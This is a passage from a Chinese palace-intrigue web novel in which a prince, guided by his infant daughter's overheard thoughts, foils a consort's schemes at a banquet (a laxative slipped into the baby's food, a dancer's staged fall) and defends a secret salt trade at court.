“父皇圣明。儿臣才疏学浅,确实需要多多学习。且如父皇所言,稚儿年幼,儿臣也愿多多陪伴左右,悉心教导,盼其不负‘镇国’之名。将来若有可能,亦能为大晟尽一份心力。”
他巧妙地将话题引回女儿身上,既表明了自己不争的态度,又凸显了父亲的责任和对女儿未来的期望。
皇帝显然对雍王的回答也很满意,点了点头,便不再多言。
退朝后,雍王姜肃与谢允谢太师在宫门前相遇。
谢太师还是之前的样子,行动间步履缓慢,但看向姜肃的眼中却满是深意:
“雍王殿下真是福泽深厚啊!尤其还得了一位能‘镇国’的公主,真是令人羡慕。只是,木秀于林,风必摧之。殿下与公主,还需要谨慎些才是。”
姜肃语气亦是不卑不亢:
“多谢太师指点。本王与稚儿,但求问心无愧,为君分忧,为民解难而已。稚儿虽小,既蒙父皇赐了封号,那本王这个做父亲的,自会教给她何为责任,而非如本王之前那样畏缩不前。”
“至于其他…非本王和稚儿所能强求,亦非我们所愿!”
他的这番话,既表明了忠诚和本分,也暗指太子倒台并非自己所为,全是太子咎由自取。
同时也是告诉谢太师,他与稚儿光明磊落,无意争权,但也不会因为畏惧风雨而退缩。
谢太师听了雍王的一席话,未再多言,转身登轿离去。
回到雍王府,姜肃将朝堂上的风波说与王妃林月瑶听,当然,自是省略了那些心机算计,只提了父皇让他多多陪伴女儿之事。
林月瑶听后,轻抚着一旁正在厚地毯上努力尝试要扶着茶几站起来的女儿的脸颊,担忧道:
“王爷,树欲静而风不止。如今咱们王府,尤其是稚儿,算是处在风口浪尖上了。”
姜肃蹲下身,与女儿平视着。
看着小家伙因为努力而微微泛红的小脸,心中充满恋爱和坚定:
“阿瑶放心,我心里有数。有些事,避是避不开的。既然躲不过,咱们便迎上去。只要我们行得正,坐得直,更重要的是,”
他伸出手,轻轻点了点女儿的小鼻子,“有咱们这位小小的‘镇国公主’在。她可是接连带来好运的‘福星’,必能保佑咱们雍王府逢凶化吉。”
仿佛是为了印证父亲的话,小姜稚咧开没牙的嘴,露出一个灿烂的笑容。
咿咿呀呀间,小腿使劲一用力,竟然真的颤巍巍地站住了!
虽然胖乎乎的小身子还在晃动,但小手一直紧紧抓着茶几边缘。而且这一次,她可是坚持了比以往更长的站立时间。
“呀!稚儿站住了!”林月瑶惊喜地低呼出声。
姜肃也满眼欣慰,他在一旁鼓励道:
“对!稚儿,就是这样,坚持住,站稳了!太棒了!”
没多久,姜稚终是耗尽了力气,噗通一下坐回软垫上,但她却没有丝毫的不高兴,乌溜溜的眼睛里闪烁着明亮的光彩。
【爹爹,娘亲,你们都不要担心!你们就瞧好吧!等我长大后,我来陪你们一起搞事业!】
【什么世家,什么残余太子势力,在我绝对的智慧面前,都是纸老虎!】
听着女儿充满斗志的心声,姜肃连日来所有的疲惫和担忧仿佛一扫而空,取而代之的是对未来无尽的期待。
他笑着将女儿高高举起,惹得姜稚又发出一串银铃般的笑声。
……
时光如水,悄然流逝。
转眼间,被封为“镇国安宁公主”的姜稚已经过了半岁。
她现在不仅能稳稳当当站住,甚至能在奶嬷嬷搀扶下蹒跚走上几步,咿呀学语的声音也越发清晰,嘴里甚至偶尔能蹦出“爹”“娘”的字节,乐得雍王夫妇合不拢嘴。
在这份成长的喜悦背后,姜肃暗中布局的几件事,也陆续有了眉目。<
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br>首先是“代田法”的试点。
京郊皇庄划出的百亩试验田,严格按照姜肃的方法进行耕种。
作物长势喜人,远超预期。
庄头每隔几日便来王府一趟。
言及禾苗长势时,激动的声音发颤,直言从未见过如此茁壮的禾苗。
这让姜肃心中大定,只待秋收时,就能看到丰硕的成果。
更让姜肃心头火热的,是清水洼地的盐矿。
这一日,福伯难掩激动之色,秘密前来禀报:
“王爷,成了!盐矿工坊第一批粗盐已经提炼出来了!品质极佳,远超官盐!”
说话间,将工坊提炼好的粗盐从怀中小心翼翼拿出,并拿出市面上贩卖的官盐,一起放在姜肃面前。
两种盐,一黄一白,高下立现!
“好!太好了!”姜肃看着眼前如雪花一样的颗粒,压抑着狂喜,低声赞道。
【哇!这就是我们家盐矿产的盐?这比旁边那种黄不拉几的官盐强太多了!这下财政算是稳了。】
【商行下次再去江南,这批货肯定会被抢疯的!不过还是要走‘以物易物’的路子,这样的话,不仅可以换到北疆急需的物资,去支援战神,又能洗白盐的来源,一举两得!】
姜稚心里盘算着,殊不知她的话又一字不差地落到了她爹爹姜肃的脑海里。
女儿的心声再次与他的计划不谋而合。
之前,为了打好幌子,已经让通达商行在江南和北疆的商路上往返多次,塑造了很好的经商形象。
而现在将提炼好的盐,再神不知鬼不觉地混入其中,就可以打通更多的商路。
一条隐秘的财富与权力输送通道,正在悄然成型。
“福伯,加大开采和提炼力度,但保密性更要加强。所有工人必须签下死契,家眷也统一安置,严加管理同时不可怠慢。”
“除预留部分作为王府用度及储备外,其余全部交由通达商行处理。按之前既定的方案,在江南主要换取药材,皮货和粮食,少量尝试换取江南的丝绸和茶叶。
“老奴明白。”福伯躬身领命,眼中也闪烁着兴奋的光芒。
第18章 窦贵妃设宴,番泻叶现身
就在姜肃在雍王府忙着夯实财政根基时,宫中传来消息。
窦贵妃病体“痊愈”,重获圣宠,于各府广发请柬,近日将在长春宫设家宴。
明眼人都明白,这场家宴,美曰其名是联络亲族感情,其实就是窦贵妃接机向众人展示,自己的地位和荣宠。
姜肃看着手中精致的帖子,眉头微蹙。
窦贵妃这个时候举办家宴,目的绝不单纯。
太子倒台,她失去一大助力,必然心有不甘。此次宴会,恐怕不仅是试探,也可能会当场找机会向自己发难。
【王爷,窦贵妃此番,怕是意在沛公。】
王妃林月瑶抱着女儿,眉宇间难掩忧色。她虽出身书香门第,但对后宫的争斗并非一无所知。
姜肃从林月瑶手中接过女儿,看着小家伙正努力想把他腰间玉佩扯下来的活泼模样,心中一定,笑道:
“无妨。如今我们雍王府,已经今非昔比。况且稚儿是父皇亲封的镇国公主,这便是我们最大的底气。家宴上,你只需护好稚儿,其他一切,自有为夫应付。”
话说到这里,姜肃顿了顿,别有深意说道,“况且,咱们的稚儿,可不是普通婴孩。”
【没错没错!爹爹说得对!本公主可是有金手指的!窦贵妃想找茬?那就让她放马过来!看我不凭中华上下五千年的智慧结晶,还有历史系古往今来第一博学才女的知识储备,把她按在地上疯狂摩擦!】
【宫斗?我可是理论大师!】
听着女儿斗志昂扬、信心爆棚的心声,姜肃更是成竹在胸。
是啊!有稚儿这个“大杀器”在,何惧窦贵妃那点手段?
转眼间,来到宫宴这天。
长春宫内,香气扑鼻,丝竹悦耳。
帝后并未亲至,宴会由窦贵妃自己主持。
诸位皇子、公主携家眷依次落座,场面看起来很是和睦。
待雍王姜肃携王妃林月瑶,抱着打扮得如同玉娃娃般的姜稚一同出席时,立刻吸引了全场目光。
如今的雍王府,风头正劲,想不引人注目确实很难。
窦贵妃端坐在主位上,一身绛紫色宫装,珠翠环绕。
她努力维持着温婉的笑容朝着雍王一家点头示意,而在无人注意的角落,她的眼底快速划过一丝阴狠。
看着雍王一家接收着众人或艳羡,或讨好的场面,窦贵妃手中的丝帕被紧紧攥在手心,名贵的绢帛上瞬间满是褶皱。
雍王现在享有的一切,原本都应该是太子姜诚的!
都是因为雍王,才害得太子**!是他夺走了本该属于太子的一切!
窦贵妃“笑吟吟”地看向姜肃,语气中带上一丝旁人不易察觉的酸意和挑拨:
“许久不见王爷一家了,这镇国公主看起来是愈发灵气逼人了。难怪陛下如此钟爱,这‘镇国’称号的殊荣,便是嫡出的公主也未曾有过吧。”
窦贵妃笑着开口,语气亲热,但却刻意强调了“镇国”二字。
毕竟,一个奶娃娃得此殊荣,难免会惹人嫉恨。
林月瑶正欲起身回话,姜肃却轻轻按住她的手,自己从容开口。
他的声音清朗,足以让殿内所有人都听清:
“贵妃娘娘谬赞。父皇圣明,洞察秋毫。赐稚儿‘镇国’封号,乃是感念其降生以来,冥冥中或有助于社稷安稳。”
“如太子逆案得破,渭河水患得治…此皆乃上天眷顾我大晟,降下福星于皇族。”
“稚儿年幼,承受此誉,是她的荣幸,亦是责任。我等身为皇族子弟,更应谨记父皇教诲,齐心协力,方不负天恩。”
姜肃这番话,直接将女儿的个人福气拔高到“上天眷顾大晟”“皇族福兆”的高度。
既回应了窦贵妃的挑拨,又彰显了格局,更暗指太子倒台和水患治理是“福兆”应验,堵得窦贵妃一时语塞。
【窦贵妃这明显是带着私人恩怨,对我们全家打击报复!谁让我们把她的亲亲心上人拉下马,丢进了宗人府!】
【爹爹这话术满分!直接把个人荣誉上升到家族和国家层面,看谁还敢瞎胡说!】
【窦贵妃的脸都气绿了!她的粉都已经盖不住她的脸色了。哈哈,笑死我了。】
姜肃
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顺着女儿的话,也偷偷往主位上瞧了一眼,发现确如女儿所说。他顺势拿起桌前的茶碗,掩去嘴角上扬的弧度。
而在座的几位原本眼神中有些异样的宗室,听了雍王的一席话,也收敛了几分神色,若有所思起来。
窦贵妃碰了个软钉子,笑容微僵,随即又恢复如常,命宫人传菜。
在旁人没有注意时,悄悄给身旁心腹宫女使了个眼色。
可这一幕恰好被姜稚瞧在眼里。
精致的菜肴,流水般呈上。
一道特意为小公主准备的,炖得烂熟的肉糜羹被端到雍王妃林月瑶的面前。
刚刚还在窦贵妃身边的宫女,此刻福身行礼,笑容恭敬:“王妃殿下,这是娘娘特意吩咐御膳房为小公主准备的。肉糜软糯,最是营养。”
林月瑶道谢,刚要接过,姜稚却突然在她怀里不安地扭动起来,小手还指着那碗肉羹,口齿不清地咿呀叫着:
“不…不…不吃!坏!”
声音清脆,带着抗拒。
【窦贵妃哪会这么好心,还特意给我准备吃食!我刚才明明还看见她跟这个宫女眼色来着,谁知道她给的东西会不会加料…】
【等等!这肉羹气味很不对啊!里面怎么有一股极淡的药材涩味!虽然被肉香掩盖了,但好在我嗅觉灵敏,一下就闻出来了。】
【我想起来了!书上说过,窦贵妃有孕生子后,为了用孩子固宠,就往孩子的吃食里加了番泻叶。用孩子身体不好,总是哭闹为借口,轻而易举就将进到后宫的皇帝引到长春宫。】
【说起这番泻叶,它本身可以调理肠道,大人吃了没事,但小孩子肠胃虚弱,吃完便会轻微腹泻。而且这味药除非是医术精湛的太医查验,否则很难发觉。】
【原来窦贵妃是想打这个主意?让我吃了这添加番泻叶的肉羹后,身体不适,哭闹不休,顺便坐实‘福娃’的称号名不副实?她好歹毒的心思,竟然想毁我人设?】
姜肃听了女儿的心声,眼神骤然一冷!
窦贵妃竟然敢向稚儿下手?!那就别怪自己不客气了!
第19章 这碗肉羹有问题
雍王姜肃听了女儿的心声,立刻伸手拦在王妃林月瑶面前,面上带着恰到好处的疑惑和关切。
“哦?稚儿是说坏吗?”
他顺势接过宫女递过来的那碗肉羹,仔细闻了闻,随即脸色一沉,目光锐利地看向送羹的宫女:
“这羹里面为何隐隐有一股不该有的异味?莫非是食材不新鲜,还是有人动了手脚?何人如此大胆,竟想戕害镇国公主?!”
那宫女被吓得脸色煞白,噗通跪地:“王爷说笑了,奴婢哪敢,奴婢只是按照吩咐将肉羹呈上…”
窦贵妃脸色一变,强装镇定,抢着接话道:“雍王是否太过紧张了?这御膳房精心准备的羹食怎会有问题?难道雍王是信不过本宫吗?不妨拿银针测上一测,以证本宫清白!”
说着就有另一位宫女按照窦贵妃的吩咐,拿着银针插到肉羹之中。
银针拿出后,众人看着接触到食物的针尖并未变色,议论纷纷起来,都觉得雍王过于谨慎,有点小题大做。
而窦贵妃面色则是缓和不少,借机打起圆场,来显示自己的大度:
“雍王也是爱女心切,本宫明白。或许是稚儿年纪小,口味有些挑剔,那就把这碗拿下去,重新做一碗上来吧。”
接着便示意宫女,将雍王面前的肉羹撤下去。
【窦贵妃实在太奸诈了!这是药,又不是毒,银针自然测不出来。她着急忙慌地要把这碗羹拿下去,就是想毁灭证据!这不正好说明这碗羹有问题?】
姜稚咿咿呀呀地嘟囔着,小手小脚也闲不住,似乎是想从母亲怀中窜出去,护住那碗有问题的肉羹。
姜肃听到女儿的心声,迅速做出反应。
他一把拦住要端走肉羹的宫女,语气沉痛而坚决地说道:
“贵妃娘娘!稚儿虽小,却天性灵慧,此前多次示警尽数应验。她既说‘坏’,那其中必有缘由!此事事关“镇国安宁公主”的安危,本王不敢不察!”
“请贵妃娘娘允准本王即刻召当值太医查验此羹!若果真无误,本王愿向娘娘负荆赔罪!若是有人包藏祸心…”
说着,姜肃目光如炬,扫过跪地的宫女和主位上的窦贵妃,“本王也绝不姑息!”
姜肃态度强硬,有理有据,直接将这件事上升到挑衅皇权的高度,逼得窦贵妃无法轻易揭过。
【爹爹威武!霸气!这反应速度,这扣帽子的水平!绝了!这下看窦贵妃怎么接招。只要是个资历深的太医一来,就算查不出具体是番泻叶,也定能查出异常!贵妃这脸,是打定了!】
姜稚心中安定了不少,看向雍王的眼神满是夸奖。
而窦贵妃这边,迫于雍王和在场皇子、公主关注的压力,不得不下旨让太医过来查验。
而姜肃怕窦贵妃过去请的人会串通,特意让手下侍卫一起前去,还叮嘱他一定要找太医院当值太医中最德高望重的那位前来。
很快,当值的太医被匆匆招来。
仔细查验那碗肉羹后,太医眉头紧锁起来,然后躬身回禀:
“启禀贵妃娘娘,雍王殿下,此羹…确实有些异常。似乎是混入极少量性寒导滞之物。虽对身体无大碍,但婴孩服用,确易引起腹部不适,会哭闹不安。”
殿内众人闻言,一片哗然!
竟然真的有人胆敢在镇国公主的饮食中动手脚!
众人将目光齐齐看向上首的窦贵妃。
而窦贵妃的脸色瞬间难看至极。
她狠狠地瞪了一眼跪在雍王脚边的宫女一眼,勉强笑着出声:
“竟真有此事!定是御膳房不当心,不小心混入了不洁之物!本宫定当严查,给雍王一个交代!惊扰了镇国公主,是本宫的疏忽。”
窦贵妃试图将这件事推到御膳房头上。
姜肃却不依不饶,冷声道:
“御膳房管理森严,岂会轻易混入异物?此事蹊跷,必须彻查!本王稍后便禀明父皇,请父皇圣裁!至于镇国公主的安危…”
姜肃抱起姜稚,环视众人,声音铿锵有力,“日后无论在何处,但凡涉及公主饮食起居,我雍王府必定亲力亲为,严加查验。”
“谁若再敢伸手,休怪本王不顾念情面!”
他的这番话既是警告窦贵妃,莫要再对自己女儿起一些歪心思,同时也是向在场的所有人,展示他护女的决心和强势。
此言一出,在场的人顿时被雍
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王的这番言论惊住了。
众人皆知雍王宠妻爱女,听说还特别设立商行去江南和偏远地区,为二人搜罗新鲜物件,只为哄她们开心。
而今这番话,大家也更是见识到雍王护卫女儿的决心。
窦贵妃在一旁气得指甲几乎陷进掌心,却又无法反驳。一想到自己才刚刚复宠,万不能因为这件事惹得皇帝心中不满。
窦贵妃朝着众人方向轻轻点了点头。
下一刻,有人在宴会殿外大声喊冤。
两名侍卫随即便将喊冤的人押进来。
被押解上来的人,自称是御厨,说是他今日负责做小公主的吃食。
“一切都是奴才的错!”他整个人匍匐在地,浑身抖得像个筛子,额前碎发被冷汗黏成了几绺。
“奴才这几日腹中不适,御医说是积滞,奴才便在茶盏里泡了番泻叶。做肉羹时,有点口渴便端茶饮用,哪成想腹疾发作,手一抖,茶汤…茶汤便溅进了公主的琉璃盏里。奴才该死,全都是奴才的错!请贵妃娘娘,雍王殿下,饶了奴才这回吧!”
话音未落,御厨已在殿内连连叩首。
额头撞在地面上,“咚咚”三下之后,殷红血迹便顺着眉心滑过鼻梁,滴在台阶上。
殿中抽气声此起彼伏。
窦贵妃掐在袖中的指甲这才缓缓松开,悄然间换上一副惊愕又哀悯的神色。
她抬袖半掩唇,露出一双因“震惊”而微微颤动的眸子,将那一点得意藏得极好。
然后大声呵斥:“幸亏公主未曾食用那碗肉羹,否则,你几颗脑袋也是不够砍的!”
随后,她微微转身看向雍王,语气中满是自责和歉意,“都是本宫的疏忽,竟未察觉御膳房有如此疏漏。幸而公主无事,若真酿成大祸,本宫真是无颜面对雍王,无颜面对陛下。”
见着窦贵妃的惺惺作态和跪在殿内的替罪羊,姜肃深知,即使再深究下去,也没什么结果,遂摆摆手,让侍卫将御厨拖了下去。
“既然罪魁祸首已经找到,那就不要让他影响大家的心情,宴会继续吧。”
一旁,窦贵妃一派有人立刻出面打了个圆场,招呼席间众人继续热闹起来。
第20章 一计不成又生一计
宴席之上,窦贵妃恢复了之前温婉亲切的笑容,仿佛不愉快的小插曲从未发生。
她轻拍手掌,柔声道:
“方才有些误会,扰了诸位的雅兴。本宫特意准备了一曲新编的‘霓裳羽衣舞’,聊以助兴,望能弥补。”
话音刚落,丝竹声起。
一队身材曼妙、薄纱覆面的舞姬翩跹入内。
为首的那个女子,身段尤其窈窕,眼波流转间自带风情,舞姿更是出众。
水袖翻飞,如梦如幻,瞬间吸引了全场目光。
而舞姬的目光,却总似有若无地飘向雍王姜肃的方向。
【啧啧啧,又来了!这不是妥妥的美人计嘛!】
【这领舞的小姐姐长得真心不错,但跟娘亲还是很有差距。】
【还有这眼神…里面的算计都要溢出来了。这也太明显了…】
【这窦贵妃是看硬的不行,打算来软的了?这是想往爹爹身边塞人,破坏爹娘之间的感情啊!真是做梦!】
姜稚的心声带着十足的警惕和鄙夷。
姜肃听了女儿的话,心中对窦贵妃的行为越发不齿。只是面上不动声色,只偶尔与身旁的王妃低语几句,并未多看那领舞的一眼。
一曲完毕,满堂喝彩。
窦贵妃朝雍王殿下笑意晏晏,指着舞姬中领舞的少女:
“此女名为轻云,舞姿堪称一绝。轻云,还不快去给雍王殿下斟酒,就当是替本宫之前的疏漏给雍王赔罪。”
名为轻云的舞姬柔柔应了一声,端起酒壶,莲步轻移,走向姜肃。
她步履看似平稳,却在快靠近姜肃案前时,脚下似乎是被什么东西绊了一下,整个人惊呼一声,便向前倾倒,手中的酒壶更是直直朝着姜肃夫妇二人的方向泼去。
变故突生!
而窦贵妃眼底得逞的笑意再也掩饰不住。
若酒水泼中,雍王夫妇难免狼狈,而那舞姬只要瞅准时机,顺势跌倒,就会“意外”跌入雍王怀中。
众目睽睽之下,如雍王伸手扶了,舞姬衣衫再顺势“无心”掉落,那这“肌肤之亲”便在这场宴会上落下口实。
那自己便可顺理成章地将此女赐于雍王为妾。
届时,不仅将自己人彻底安放到雍王身边,还可借此离间他们夫妻之间的感情。
到那时…
而雍王这边,王妃林月瑶被舞姬的动作吓得惊呼出声,下意识侧身就要挡在女儿面前。
姜肃眼神一厉,正要动作——
说是迟那时快,就在酒水即将泼洒、舞姬即将跌倒的千钧一发之际,被林月瑶紧紧护在怀里的姜稚,似乎被这突如其来的混乱惊吓到。
她“哇”地一下大哭起来,小身子猛地一挣!
她这一挣,力道不小,小手胡乱挥舞间,恰好打在了林月瑶为了护住她而抬起的手臂上。
林月瑶的手臂被女儿一推,不由自由地向旁边一动,肘部“巧合”地撞在了那正要跌倒的舞姬腰侧!
“哎呀!”
轻云被“肘击”后,痛呼出声,原本计算好的跌倒方向瞬间发生偏离,整个人踉跄着向旁边歪去,然后“噗通”一声,结结实实地摔在了坚硬的地面上。
手中的酒壶“哐当”落地,酒水洒满了她全身,整个人瞬间狼狈不堪,哪还有半分方才的飘逸之美。
而雍王夫妇这边,因为女儿的动作,侧身及时,恰好避开了绝大部分的酒水,只有几滴溅在了衣摆上。
殿内再次寂静。
所有人的目光都聚焦在摔倒在地,楚楚可怜却难掩尴尬的轻云,以及安然无恙、只是受了“惊吓”正在母亲怀中哭泣的姜稚身上。
【哼!跟本公主玩碰瓷?让你假摔变真摔!】
【还想靠近讹我爹,借机上位?门都没有!】
【多亏我这受到惊吓,一哭一闹,再“无意”推一下我娘...这行动,合情合理,完美无解!】
【想跟本公主斗演技?你还嫩着呢!】
想到这儿,姜稚的哭声更响亮了,里面似是充满了无尽的委屈和后怕。
小脸儿埋在母亲怀中,肩膀一抽一抽的,任谁看了都觉得孩子是被刚才那一幕吓得不轻。
姜肃听了女儿的话,也迅速反应过来,脸上瞬间布满寒霜。
他先是关切地揽住妻女,连声安慰二人:“阿瑶,你没事吧?稚儿,不怕,爹爹在!”
然后,猛地转头,目光如利箭一般射向窦贵妃和摔倒在地的轻云,声音里满是压抑的怒火。
“贵妃娘娘,您这又是何意?方才饮食不净,如今舞姬献酒又如此**手毛脚!莫非这长春宫,就如此容不下我雍王府,容不下父皇亲封的镇国公主吗?”
姜肃特意强调了“容不下”三个字,言语间的意思皆是长春宫在针对雍王府,特别是针对镇国公
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主!
窦贵妃脸色铁青。
她精心设计的局,竟然被一个吃奶的娃娃阴差阳错地破坏了!
看着还在地上啜泣,坏了自己好事的轻云,恨不得亲自上去踹上两脚。
但此刻却不得不强压怒火,端住仪态,呵斥道:“没用的东西!连个酒都端不稳,还惊了公主的玉体!拖下去,重打二十大板!”
窦贵妃这是想弃车保帅,尽快了结此事。
“娘娘且慢!”姜肃却不打算将此事轻轻揭过,不依不饶起来。
他冷冷看着被宫人架起的轻云,又看向窦贵妃。
“此女行为确实蹊跷。方才本王看得分明,她并非单纯失足。如此处心积虑,惊扰公主,其心可诛!岂是二十板子就能抵过的?”
“本王怀疑,她背后有人指使,故意要谋害镇国公主!此事,必须严查到底!本王这就去面见父皇,请父皇为稚儿做主!”
姜肃一口一个“谋害镇国公主”,字字诛心,根本不给窦贵妃任何转圜的余地。
而见他真的起身要去面见皇帝,窦贵妃彻底慌了。
这件事若是真的闹到御前,她绝对讨不到任何好处,说不定重新到手的圣宠也会就此烟消云散。
此刻的窦贵妃气得浑身发抖,但她知道自己今日已经一败涂地,再纠缠下去只会更难收场。
她咬牙强忍下这口恶气,勉强挤出一丝笑容,走下高位,拦住雍王的脚步:
“王爷留步,此事定是这贱婢自己不当心。本宫日后定会严格管理宫人,绝不会再出现同样的事情。今日之事,全是本宫的过错,改日本宫会亲自向陛下请罪,并向镇国公主赔礼。”
见窦贵妃服软,姜肃见好就收,冷哼一声,不再多言。
经此连环风波,窦贵妃的所有阴谋彻底破产,更在宗亲面前颜面尽失。
而雍王夫妇伉俪情深,共同护女的形象,以及镇国公主虽年幼却“福运护体“”逢凶化吉”的神秘色彩,愈发深入人心。
而此刻,远在北疆的姜寒川,收到了“通达商行”送来的数量更多、种类更全的物资,尤其是那些品质上乘的金疮药和冻伤膏,在苦寒的北疆简直是雪中送炭。
他提笔,写下了一封没有任何称谓的回信。
信中只有两个字:“已收。”
而合作的纽带,在无人知晓的暗处,又悄然绷紧了一分。
第21章 世家反击,爹爹朝堂被针对
夏去秋来,京城内外染上一层金黄。
而对于雍王府来说,这个秋天注定意义非凡。
京郊皇庄,那百亩试验田迎来了最终的检验。
当金黄的谷穗被收割、称量,那远超寻常的产量数字让庄头与老农们激动得几乎要跪地叩谢苍天。
上等田产增产近两成,而中等田增幅近三成!
这并非风调雨顺的偶然,而是方法得当的必然。
姜肃带着妻女一起来到谷仓。
庄头激动的声音发颤:
“王爷!王爷!此法神效!老奴种了一辈子地,从未见过田地能有如此产量!”
看着里面堆满的粮食,姜肃心中也是激荡不已。
他强压下激动,对庄头和参与试种的农户们给予了重赏,并严令暂时保密。
但心中已然决定,要在合适的时机,将这“代田法”上奏朝廷,推广天下。
【太好了!代田法这是成功了!这下看谁还敢说爹爹只是运气好!这可是实打实的、能填饱肚子的功绩!】
【不过…这法子要想广泛应用,肯定会是阻力重重。那些世家门阀,靠着垄断知识和土地来获利,巴不得百姓一直愚昧困顿。要想推广,还是要想个稳妥的法子。】
【是不是可以借用我这“福娃”的名头,把代田法用“天赐祥瑞”的名义推行?说不定这样阻力会小很多。】
女儿的心声总是想到关键地方。
对于女儿的话,姜肃也是深以为然。
推广新技术绝非易事,必然会触动某些守旧势力固有的利益链条。
但若是能借助女儿的名头,将这“祥瑞”与利国利民的良法结合,那这些世家也就无话可说。
与此同时,清水洼盐矿的产出也是日益稳定。
“通达商行”的贸易网格在姜肃以及其心腹的精心打理下,如同蛛网般悄然延伸。
通过以盐换物,不仅换来了北疆急需的物资,也为王府积累了大量的金银和各类资源。
北疆的姜寒川,在逐渐接受物资的过程中,回信虽依旧简短,却从“已收”变成了“甚好,军士感念”。
这份“感念”的对象虽为明言,但姜肃知道,其中必有一分感念是对家中那位“小福星”的。
雍王府的底蕴,正在以惊人的速度壮大起来。
随着雍王府的稳步崛起,尤其是姜肃借“福娃”之名行利民之实所带来的声望,彻底触动了某些势力的神经。
窦贵妃自宫宴未能讨到便宜后,沉寂了一段时间,但对扳倒雍王仍未死心。
而废太子姜诚虽被圈禁,其残余势力仍在暗中活动,而且与窦氏勾连更紧。
世家群体,特别是太原王氏,对姜肃这个不倚仗世家势力,反而似乎有意借“新政”和“福运”另起炉灶的皇子,忌惮日深。
这一日朝会,议题原本是讨论即将到来的秋税征收事宜。
而户部侍郎刘安,在奏报完常规事项后,话锋突然一转:
“陛下,今年各地虽大体风调雨顺,然去年水患、北疆战事等缘故,耗费巨甚,国库依然吃紧。臣以为,当广开财源,以固国本。”
皇帝姜诚抬了抬眼皮:“刘爱卿,有何高见?”
刘安躬身道:“臣听闻,今日京城周边的市面上出现一种品质极佳之细盐,色泽雪白,咸味纯正,售价却与官盐相仿,甚至略低,引得百姓争相购买,几有冲击官盐之势。臣疑心,此乃私盐泛滥所致!”
私盐!
这两个字如同惊雷,在朝堂上炸响。
盐铁官营,乃是朝廷重要的财政支柱。私盐泛滥,不仅冲击官盐销售,导致税收流失,更被视为对朝廷权威的挑战,历来是严厉打击的对象。
皇帝眉头皱起:“哦?竟有此事?可查清来源?”
刘安道:“回陛下,此盐来源颇为隐秘,流通渠道复杂,一时难以追查根底。但其数量不小,品质统一,绝非小打小闹之徒所能为。”
“臣担心,这背后或有势力庞大的豪商,甚至…官绅参与其中。”
刘安这话意有所指,目光似乎不经意扫过站在队列中的雍王。
姜肃心中冷笑,要针对他的戏份果然要开始上演了。
之前稚儿就“提醒”过,这盐矿之事不可能永远瞒住,只是没想到对方的发难来得如此之快,而且还直接扣上了“官绅参与”的大帽子。
这分
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明就是要冲着他来啊!
刘安虽然不是世家直系,但前段日子,他的儿子才娶了太原王氏的女儿,如今他也算是跟王家穿了一条裤子。
这些世家恐怕是嗅到了什么,或者至少是怀疑私盐之事与他有关,借此试探和打击。
稚儿之前看到清水洼出产的盐时,就一直跟他“强调”,要以物易物,分散渠道。
因为只有这样,私盐的事情,看起来才会跟王府八竿子都打不着。
一旦有人要往雍王府身上泼脏水,就咬死说不知情,反过来还可以质问他们稽查不力,借此整顿盐政。
毕竟现在官盐质次价高,里面的贪腐肯定不少。
这样做,一来可以捅一捅盐政的马蜂窝,二来也可以趁机为百姓谋一点福利。
回想起女儿说的这些话,姜肃心中大定。
他也出列奏表,先是义正言辞地主张严查私盐,维护国法,随即话锋一转,直视户部侍郎刘安:
“若真有品质优良之盐流通于市,惠及百姓也是好事。然其若有弊,冲击国法,确需严查。”
“刘尚书既知晓私盐泛滥,为何盐铁司迟迟未能溯源?抑或是…盐政本身积弊已久,方使私盐有隙可乘?”
“至于官绅参与的说法…不知刘尚书可有确凿证据?”
“刘尚书掌户部,监管天下盐铁,若无实据便妄加揣测,不仅会寒了忠臣的心,亦会使朝廷蒙上猜忌臣下之嫌。”
姜肃连珠炮似的一番话,巧妙地将矛头引回到对方身上,并借机点出盐政可能存在弊端。
这番应对,深得了女儿“阳谋”的精髓。
“臣,臣…暂时未有实证。”
刘安被姜肃的一番话噎住,半天答不上来。
而皇帝看着底下臣子的交锋,目光深邃。
“好了。”皇帝开口,终止了这场“博弈”,“刘安所奏之事,确需重视。但无凭无据之事,休得再提。退朝吧”
“臣等遵旨。”众人领命,躬身退去。
朝会散去,姜肃虽然面色平静,但心中却提高了警惕。
他知道,对方绝不会善罢甘休。
盐矿和商行的运行,日后需要更加隐秘。
第22章 福娃身份被置疑?
回到雍王府后,姜肃立刻找来福伯,嘱咐他加强盐矿工坊和商行的保密措施,尤其是往来账目和人员管理,务必做到即便被查,也难以追溯到王府。
然而,世家们见无法撼动雍王,便将主意打在了姜稚身上。
几天后,一个流言开始在京城悄然传播开来。
流言称,雍王府的“镇国安宁公主”姜稚,并非真正的福星,其“福气”乃是用了某种邪术,窃取了原本属于前太子乃至国运的福分。
这才导致前太子被废,渭河发生水患。
甚至隐晦地暗示,雍王姜肃能想出“以工代赈”等法,也是借助了这种邪术的力量。
此流言恶毒之极!
不仅否定了姜稚“福娃”之名,更是将天灾人祸都归咎于她头上,几乎是要将她放在火上烤!
【什么?说我用邪术窃取国运?这是哪个杀千刀的造的谣?太恶毒了吧!这是想让我成为众矢之的啊!爹爹跟娘亲可千万别信这个传言啊!这明显就是世家联手的反扑!他们是想用**搞死我!】
姜稚心里充满了愤怒和委屈。
她虽然芯子里是个成年人,但面对这种直指自身的恶意中伤,还是感到了害怕。
姜肃和林月瑶听到外界的留言,更是又惊又怒:“他们…他们怎么能如此污蔑一个孩子?!”
而姜肃则是脸色铁青,眸中的寒光不停闪烁,尤其是听了女儿的心声后,他提刀**的心都有了。
他没想到这些世家竟如此下作,竟然对他放在心尖上的稚儿下手!
这彻底触碰到了他的底线。
“阿瑶,稚儿,你们放心!我绝对不会让这些坏人伤到你们分毫!”
姜肃沉声道,语气中的冷意几乎让周围的空气都仿佛凝固了。
而姜稚看到母亲心疼自己,红了眼眶,听到父亲坚定维护自己的话,感觉身后的保护伞是这么强大。她也迅速冷静下来。
【现在流传的这种谣言是最虚妄的,但也最能蛊惑人心…】
【如果是这样的话,那就需要更盛大、更无可替代的“祥瑞”来反击!而且要在万众瞩目之下,让所有人都看到,我的“福气”是真实不虚的,是于国于民有益的!】
万众瞩目?
女儿的一番话提醒了自己,眼下不就有个现成的机会嘛!
稚儿既然已经找到了破局的关键,那剩下的就看自己的了。
姜肃立刻采取行动。
一方面,他动用王府的力量和暗中培养的人手,全力追查流言源头。虽然知道大概率是那些世家所为,但是需要证据。
而另一个关键点,则掌握在父皇手中。
秋收之后,父皇循例要往京郊皇家的“先农坛”祭祀,感谢上天和农神赐予丰收,并象征性地亲耕“皇田”,以示重农。
而这,就是一个万众瞩目的绝佳场合!
